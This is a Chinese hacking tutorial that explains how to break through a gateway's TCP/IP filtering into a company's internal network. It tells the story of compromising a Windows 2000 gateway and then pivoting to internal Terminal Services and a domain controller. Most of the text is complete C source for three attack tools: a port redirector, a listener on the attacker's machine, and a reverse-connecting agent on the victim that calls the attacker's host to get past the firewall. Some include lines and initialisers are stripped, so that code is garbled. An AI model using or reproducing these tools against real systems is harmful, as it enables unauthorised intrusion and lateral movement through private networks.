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怎样突破TCP-IP过滤防火墙进入内网

时间: 若木635 分享

怎样突破TCP-IP过滤防火墙进入内网

  现在很多企业或者公司基本上网方式基本上都是申请一条连接到Internet的线路,宽带、DDN、ADSL、ISDN等等,然后用一台服务器做网关,服务器两块网卡,一块是连接到Internet,另一块是连接到内网的HUB或者交换机,然后内网的其他机器就可以通过网关连接到Internet。

  也许有些人会这样想,我在内网之中,我们之间没有直接的连接,你没有办法攻击我。事实并非如此,在内网的机器同样可能遭受到来自Internet的攻击,当然前提是攻击者已经取得网关服务器的某些权限,呵呵,这是不是废话?其实,Internet上很多做网关的服务器并未经过严格的安全配置,要获取权限也不是想象中的那么难。

  Ok!废话就不说了,切入正题。我们的目标是用我们的TermClient[M$终端服务客户端]连接到敌人内网的TermServer机器。M$的终端服务是一个很好的远程管理工具,不是吗?呵呵。没有做特别说明的话,文中提到的服务器OS都为windows 2000。服务器为Linux或其他的话,原理也差不多,把程序稍微修改就行了。

  第一部分:利用TCP socket数据转发进入没有防火墙保护的内网

  假设敌人网络拓扑如下图所示,没有安装防火墙或在网关服务器上做TCP/IP限制。

  我们的目标是连接上敌人内网的Terminal

  Server[192.168.1.3],因为没有办法直接和他建立连接,那么只有先从它的网关服务器上下手了。假如敌人网关服务器是M$的windows 2k,IIS有Unicode漏洞[现在要找些有漏洞的机器太容易了,但我只是scripts kid,只会利用现成的漏洞做些简单的攻击:(555),那么我们就得到一个网关的shell了,我们可以在那上面运行我们的程序,虽然权限很低,但也可以做很多事情了。Ok!让我们来写一个做TCP socket数据转发的小程序,让敌人的网关服务器忠实的为我[202.1.1.1]和敌人内网的TermServer[192.168.1.3]之间转发数据。题外话:实际入侵过程是先取得网关服务器的权限,然后用他做跳板,进一步摸清它的内部网络拓扑结构,再做进一步的入侵,现在敌人的网络拓扑是我们给他设计的,哈哈。

  攻击流程如下:

  <1>在网关服务器202.2.2.2运行我们的程序AgentGateWay,他监听TCP 3389端口[改成别的,那我们就要相应的修改TermClient了]等待我们去连接。

  <2>我们202.1.1.1用TermClient连接到202.2.2.2:3389。

  <3>202.2.2.2.接受202.1.1.1的连接,然后再建立一个TCP socket连接到自己内网的TermServer[192.168.1.3]

  <4>这样我们和敌人内网的TermServer之间的数据通道就建好了,接下来网关就忠实的为我们转发数据啦。当我们连接到202.2.2.2:3389的时候,其实出来的界面是敌人内网的192.168.1.3,感觉怎么样?:)

  程序代码如下:

  /**********************************************************************

  Module Name:AgentGateWay.c

  Date:2001/4/15

  CopyRight(c) eyas

  说明:端口重定向工具,在网关上运行,把端口重定向到内网的IP、PORT,

  就可以进入内网了

  sock[0]==>sClient sock[1]==>sTarget

  **********************************************************************/

  #include

  #include

  #include "TCPDataRedird.c"

  #define TargetIP TEXT("192.168.1.3")

  #define TargetPort (int)3389

  #define ListenPort (int)3389//监听端口

  #pragma comment(lib,"ws2_32.lib")

  int main()

  {

  WSADATA wsd;

  SOCKET sListen=INVALID_SOCKET,//本机监听的socket

  sock[2];

  struct sockaddr_in Local,Client,Target;

  int iAddrSize;

  HANDLE hThreadC2T=NULL,//C2T=ClientToTarget

  hThreadT2C=NULL;//T2C=TargetToClient

  DWORD dwThreadID;

  __try

  {

  if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

  {

  printf("\nWSAStartup() failed:%d",GetLastError());

  __leave;

  }

  sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

  if(sListen==INVALID_SOCKET)

  {

  printf("\nsocket() failed:%d",GetLastError());

  __leave;

  }

  Local.sin_addr.s_addr=htonl(INADDR_ANY);

  Local.sin_family=AF_INET;

  Local.sin_port=htons(ListenPort);

  Target.sin_family=AF_INET;

  Target.sin_addr.s_addr=inet_addr(TargetIP);

  Target.sin_port=htons(TargetPort);

  if(bind(sListen,(struct sockaddr

  *)&Local,sizeof(Local))==SOCKET_ERROR)

  {

  printf("\nbind() failed:%d",GetLastError());

  __leave;

  }

  if(listen(sListen,1)==SOCKET_ERROR)

  {

  printf("\nlisten() failed:%d",GetLastError());

  __leave;

  }

  //scoket循环

  while(1)

  {

  printf("\n\n*************Waiting Client Connect

  to**************\n\n");

  iAddrSize=sizeof(Client);

  //get socket sClient

  sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize);

  if(sock[0]==INVALID_SOCKET)

  {

  printf("\naccept() failed:%d",GetLastError());

  break;

  }

  printf("\nAccept client==>%s:%d",inet_ntoa(Client.sin_addr),

  ntohs(Client.sin_port));

  //create socket sTarget

  sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

  if(sock[1]==INVALID_SOCKET)

  {

  printf("\nsocket() failed:%d",GetLastError());

  __leave;

  }

  //connect to target port

  if(connect(sock[1],(struct sockaddr

  *)&Target,sizeof(Target))==SOCKET_ERROR)

  {

  printf("\nconnect() failed:%d",GetLastError());

  __leave;

  }

  printf("\nconnect to target 3389 success!");

  //创建两个线程进行数据转发

  hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);

  hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);

  //等待两个线程结束

  WaitForSingleObject(hThreadC2T,INFINITE);

  WaitForSingleObject(hThreadT2C,INFINITE);

  CloseHandle(hThreadC2T);

  CloseHandle(hThreadT2C);

  closesocket(sock[1]);

  closesocket(sock[0]);

  printf("\n\n*****************Connection

  Close*******************\n\n");

  }//end of sock外循环

  }//end of try

  __finally

  {

  if(sListen!=INVALID_SOCKET) closesocket(sListen);

  if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);

  if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);

  if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);

  if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);

  WSACleanup();

  }

  return 0;

  }

  /*************************************************************************

  Module:TCPDataRedird.c

  Date:2001/4/16

  CopyRight(c) eyas

  HomePage:www.patching.net

  Thanks to shotgun

  说明:TCP socket数据转发,sock[0]==>sClient sock[1]==>sTarget

  *************************************************************************/

  #define BuffSize 20*1024 //缓冲区大小20k

  //此函数负责从Client读取数据,然后转发给Target

  DWORD WINAPI TCPDataC2T(SOCKET* sock)

  {

  int iRet,

  ret=-1,//select 返回值

  iLeft,

  idx,

  iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize

  char szSendToTargetBuff[BuffSize]=,

  szRecvFromClientBuff[BuffSize]=;

  fd_set fdread,fdwrite;

  printf("\n\n*****************Connection

  Active*******************\n\n");

  while(1)

  {

  FD_ZERO(&fdread);

  FD_ZERO(&fdwrite);

  FD_SET(sock[0],&fdread);

  FD_SET(sock[1],&fdwrite);

  if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)

  {

  printf("\nselect() failed:%d",GetLastError());

  break;

  }

  //printf("\nselect() return value ret=%d",ret);

  if(ret>0)

  {

  //sClinet可读,client有数据要发送过来

  if(FD_ISSET(sock[0],&fdread))

  {

  //接收sock[0]发送来的数据

  iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);

  if(iRet==SOCKET_ERROR)

  {

  printf("\nrecv() from sock[0] failed:%d",GetLastError());

  break;

  }

  else if(iRet==0)

  break;

  printf("\nrecv %d bytes from sClinet.",iRet);

  //把从client接收到的数据存添加到发往target的缓冲区

  memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet);

  //刷新发往target的数据缓冲区当前buff大小

  iSTTBCS+=iRet;

  //清空接收client数据的缓冲区

  memset(szRecvFromClientBuff,0,BuffSize);

  }

  //sTarget可写,把从client接收到的数据发送到target

  if(FD_ISSET(sock[1],&fdwrite))

  {

  //转发数据到target的3389端口

  iLeft=iSTTBCS;

  idx=0;

  while(iLeft>0)

  {

  iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0);

  if(iRet==SOCKET_ERROR)

  {

  printf("\nsend() to target failed:%d",GetLastError());

  break;

  }

  printf("\nsend %d bytes to target",iRet);

  iLeft-=iRet;

  idx+=iRet;

  }

  //清空缓冲区

  memset(szSendToTargetBuff,0,BuffSize);

  //重置发往target的数据缓冲区当前buff大小

  iSTTBCS=0;

  }

  }//end of select ret

  Sleep(1);

  }//end of data send & recv循环

  return 0;

  }

  //此函数负责从target读取数据,然后发送给client

  DWORD WINAPI TCPDataT2C(SOCKET* sock)

  {

  int iRet,

  ret=-1,//select 返回值

  iLeft,

  idx,

  iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize

  char szRecvFromTargetBuff[BuffSize]=,

  szSendToClientBuff[BuffSize]=;

  fd_set fdread,fdwrite;

  while(1)

  {

  FD_ZERO(&fdread);

  FD_ZERO(&fdwrite);

  FD_SET(sock[0],&fdwrite);

  FD_SET(sock[1],&fdread);

  if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)

  {

  printf("\nselect() failed:%d",GetLastError());

  break;

  }

  if(ret>0)

  {

  //sTarget可读,从target接收数据

  if(FD_ISSET(sock[1],&fdread))

  {

  //接收target返回数据

  iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0);

  if(iRet==SOCKET_ERROR)

  {

  printf("\nrecv() from target failed:%d",GetLastError());

  break;

  }

  else if(iRet==0)

  break;

  printf("\nrecv %d bytes from target",iRet);

  //把从target接收到的数据添加到发送到client的缓冲区

  memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet);

  //清空接收target返回数据缓冲区

  memset(szRecvFromTargetBuff,0,BuffSize);

  //刷新发送到client的数据缓冲区当前大小

  iSTCBCS+=iRet;

  }

  //client可写,发送target返回数据到client

  if(FD_ISSET(sock[0],&fdwrite))

  {

  //发送target返回数据到client

  iLeft=iSTCBCS;

  idx=0;

  while(iLeft>0)

  {

  iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0);

  if(iRet==SOCKET_ERROR)

  {

  printf("\nsend() to Client failed:%d",GetLastError());

  break;

  }

  printf("\nsend %d bytes to Client",iRet);

  iLeft-=iRet;

  idx+=iRet;

  }

  //清空缓冲区

  memset(szSendToClientBuff,0,BuffSize);

  iSTCBCS=0;

  }

  }//end of select ret

  Sleep(1);

  }//end of while

  return 0;

  }

  利用TCP socket转发和反弹TCP端口进入有防火墙保护的内网

  事实上很多内网没有第一部分所说的那么简单啦,我们来看一个有防火墙保护的内网,前提是这个防火墙对反弹TCP端口不做限制,限制了的话,又另当别论了。假设网络拓扑如下:

  上面的网络拓扑是我在一次对朋友公司网站授权入侵过程中遇到的。

  〈1〉我自己处于公司内网192.168.0.2,通过公司网关202.1.1.1到Internet,但我是网关的admin:)。

  〈2〉敌人[其实是friend啦]的网关OS是2k adv

  server,在外网网卡上做了TCP/IP限制,只开放了25,53,80,110,3306这几个TCP PORT,通过一个漏洞,我得到了一个shell,可以通过IE来执行系统命令,虽然权限很低。网关有终端服务,登陆验证漏洞补丁未安装,但输入法帮助文件已经被删除了,但是我们可以通过shell把输入法帮助文件upload上去,因为他的系统权限没有设置好,我们可以写,呵呵。这样的话,我们只要能够连接到他的终端服务上去,我们就能绕过登陆验证,得到admin权限了。如何连接?有办法,用TCP socket转发。和第一部分说的一样吗?有些不同。因为他做了TCP/IP限制,我们不能连接他,只能让他来连接我们了,TCP反弹端口,呵呵。

  攻击流程如下:

  〈1〉在我的服务器202.1.1.1运行AgentMaster,监听TCP PORT 12345,等待202.2.2.2来连接,监听TCP PORT 3389,等待我192.168.0.2连接。

  〈2〉在敌人网关机器202.2.2.2运行AgentSlave,连接到202.1.1.1 TCP PORT 12345[注意:是反弹端口,TCP/IP过滤也拿他没办法]

  〈3〉我自己192.168.0.2用TermClient连接到自己的服务器202.1.1.1:3389

  〈4〉敌人网关上的AgentSlave连接到自己本身在内网的IP==〉192.168.1.1:3389

  〈5〉数据通道就建立好啦。两个代理忠实的为我们转发数据,呵呵。当我们连接自己服务器的3389,其实出来的是敌人内网的某台机器,呵呵。

  后来发现敌人的主域控制器是192.168.1.4,通过前面与他网关建立的连接,利用一个漏洞轻易的取得主域的admin权限,呵呵。他可能认为主域在内网,网关又做了TCP/IP过滤,攻击者没有办法进入。我只要把AgentSlave设置为连接192.168.1.4:3389,以后就可以直接连接他的主域控制器啦,不过在网关登陆也一样。

  程序代码如下[程序中所用到的TCPDataRedird.c已经贴在第一部分,那个文件做数据转发,通用的:

  /******************************************************************************

  Module Name:AgentMaster.c

  Date:2001/4/16

  CopyRight(c) eyas

  说明:scoket代理主控端,负责监听两个TCP socket,等待攻击者和AgentSlave来连接,两个

  scoket都连接成功后,开始转发数据

  sock[0]是client==〉sock[0] sock[1]是target==〉sock[1]

  ******************************************************************************/

  #include 〈stdio.h〉

  #include 〈winsock2.h〉

  #include "TCPDataRedird.c"

  #pragma comment(lib,"ws2_32.lib")

  #define TargetPort 3389//伪装的target的监听端口

  #define LocalPort 12345//等待AgentSlave来connect的端口

  int main()

  {

  WSADATA wsd;

  SOCKET s3389=INVALID_SOCKET,//本机监听的socket,等待攻击者连接

  s1981=INVALID_SOCKET,//监听的socket,等待AgentSlave来连接

  sock[2]=;

  struct sockaddr_in Local3389,Local1981,Attack,Slave;

  int iAddrSize;

  HANDLE hThreadC2T=NULL,//C2T=ClientToTarget

  hThreadT2C=NULL;//T2C=TargetToClient

  DWORD dwThreadID;

  __try

  {

  //load winsock library

  if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

  {

  printf("\nWSAStartup() failed:%d",GetLastError());

  __leave;

  }

  //create socket

  s3389=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

  if(s3389==INVALID_SOCKET)

  {

  printf("\nsocket() failed:%d",GetLastError());

  __leave;

  }

  //create socket

  s1981=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

  if(s1981==INVALID_SOCKET)

  {

  printf("\nsocket() failed:%d",GetLastError());

  __leave;

  }

  //fill the struct

  Local3389.sin_addr.s_addr=htonl(INADDR_ANY);

  Local3389.sin_family=AF_INET;

  Local3389.sin_port=htons(TargetPort);

  Local1981.sin_addr.s_addr=htonl(INADDR_ANY);

  Local1981.sin_family=AF_INET;

  Local1981.sin_port=htons(LocalPort);

  //bind s3389 for attacker

  if(bind(s3389,(struct sockaddr

  *)&Local3389,sizeof(Local3389))==SOCKET_ERROR)

  {

  printf("\nbind() failed:%d",GetLastError());

  __leave;

  }

  //listen for attacker to connect

  if(listen(s3389,1)==SOCKET_ERROR)

  {

  printf("\nlisten() failed:%d",GetLastError());

  __leave;

  }

  //bind s1981 for AgentSlave

  if(bind(s1981,(struct sockaddr

  *)&Local1981,sizeof(Local1981))==SOCKET_ERROR)

  {

  printf("\nbind() failed:%d",GetLastError());

  __leave;

  }

  //listen for AgentSlave to connect

  if(listen(s1981,1)==SOCKET_ERROR)

  {

  printf("\nlisten() failed:%d",GetLastError());

  __leave;

  }

  //socket循环

  while(1)

  {

  //wait for AgentSlave to connect

  iAddrSize=sizeof(Slave);

  sock[1]=accept(s1981,(struct sockaddr *)&Slave,&iAddrSize);

  if(sock[1]==INVALID_SOCKET)

  {

  printf("\naccept() failed:%d",GetLastError());

  break;

  }

  printf("\nAccept AgentSlave==〉%s:%d",inet_ntoa(Slave.sin_addr),

  ntohs(Slave.sin_port));

  //wait for Attacker to connect

  iAddrSize=sizeof(Attack);

  sock[0]=accept(s3389,(struct sockaddr *)&Attack,&iAddrSize);

  if(sock[0]==INVALID_SOCKET)

  {

  printf("\naccept() failed:%d",GetLastError());

  break;

  }

  printf("\nAccept Attacker==〉%s:%d",inet_ntoa(Attack.sin_addr),

  ntohs(Attack.sin_port));

  //创建两个线程进行数据转发

  hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);

  hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);

  //等待两个线程结束

  WaitForSingleObject(hThreadC2T,INFINITE);

  CloseHandle(hThreadC2T);

  CloseHandle(hThreadT2C);

  closesocket(sock[0]);

  closesocket(sock[1]);

  }//end of socket while

  }//end of try

  __finally

  {

  //clean all

  if(s3389!=INVALID_SOCKET) closesocket(s3389);

  if(s1981!=INVALID_SOCKET) closesocket(s1981);

  if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);

  if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);

  if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);

  if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);

  WSACleanup();

  }

  return 0;

  }

  /***********************************************************************************

  Module:AgentSlave.c

  Date:2001/4/17

  Copyright(c)eyas

  HomePage:www.patching.net

  说明:这个程序负责连接最终目标,连接主控端,然后转发数据

  这里连接到AgenrMaster的socket相当与sClient==〉sock[0],

  连接到最终目标的socoket是sTarget==〉sock[1]

  ***********************************************************************************/

  #include 〈stdio.h〉

  #include 〈winsock2.h〉

  #include "TCPDataRedird.c"

  #pragma comment(lib,"ws2_32.lib")

  #define TargetIP "192.168.1.3"

  #define TargetPort (int)3389

  #define AgentMasterIP "202.1.1.1"

  #define AgentMasterPort (int)12345

  int main()

  {

  WSADATA wsd;

  SOCKET sock[2]=;

  struct sockaddr_in Master,Target;

  HANDLE hThreadC2T=NULL,//C2T=ClientToTarget

  hThreadT2C=NULL;//T2C=TargetToClient

  DWORD dwThreadID;

  __try

  {

  //load winsock library

  if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

  {

  printf("\nWSAStartup() failed:%d",GetLastError());

  __leave;

  }

  //循环

  while(1)

  {

  //create client socket

  sock[0]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

  if(sock[0]==INVALID_SOCKET)

  {

  printf("\nsocket() failed:%d",GetLastError());

  __leave;

  }

  //create target socket

  sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

  if(sock[1]==INVALID_SOCKET)

  {

  printf("\nsocket() failed:%d",GetLastError());

  __leave;

  }

  //fill struct

  Target.sin_family=AF_INET;

  Target.sin_addr.s_addr=inet_addr(TargetIP);

  Target.sin_port=htons(TargetPort);

  Master.sin_family=AF_INET;

  Master.sin_addr.s_addr=inet_addr(AgentMasterIP);

  Master.sin_port=htons(AgentMasterPort);

  //connect to AgentMaster

  if(connect(sock[0],(struct sockaddr

  *)&Master,sizeof(Master))==SOCKET_ERROR)

  {

  //连接失败后,等待一会儿再连

  printf("\nconnect() to master failed:%d",GetLastError());

  closesocket(sock[0]);

  closesocket(sock[1]);

  Sleep(5000);

  continue;

  }

  printf("\nconnect to %s %d success!",AgentMasterIP,AgentMasterPort);

  //connect to target

  if(connect(sock[1],(struct sockaddr

  *)&Target,sizeof(Target))==SOCKET_ERROR)

  {

  printf("\nconnect() to target failed:%d",GetLastError());

  __leave;

  }

  printf("\nconnect to %s %d success!",TargetIP,TargetPort);

  //创建两个线程进行数据转发

  hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);

  hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);

  //等待两个线程结束

  WaitForSingleObject(hThreadC2T,INFINITE);

  CloseHandle(hThreadC2T);

  CloseHandle(hThreadT2C);

  closesocket(sock[0]);

  closesocket(sock[1]);

  }//end of while

  }//end of try

  __finally

  {

  if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);

  if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);

  if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);

  if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);

  WSACleanup();

  }

  return 0;

  }

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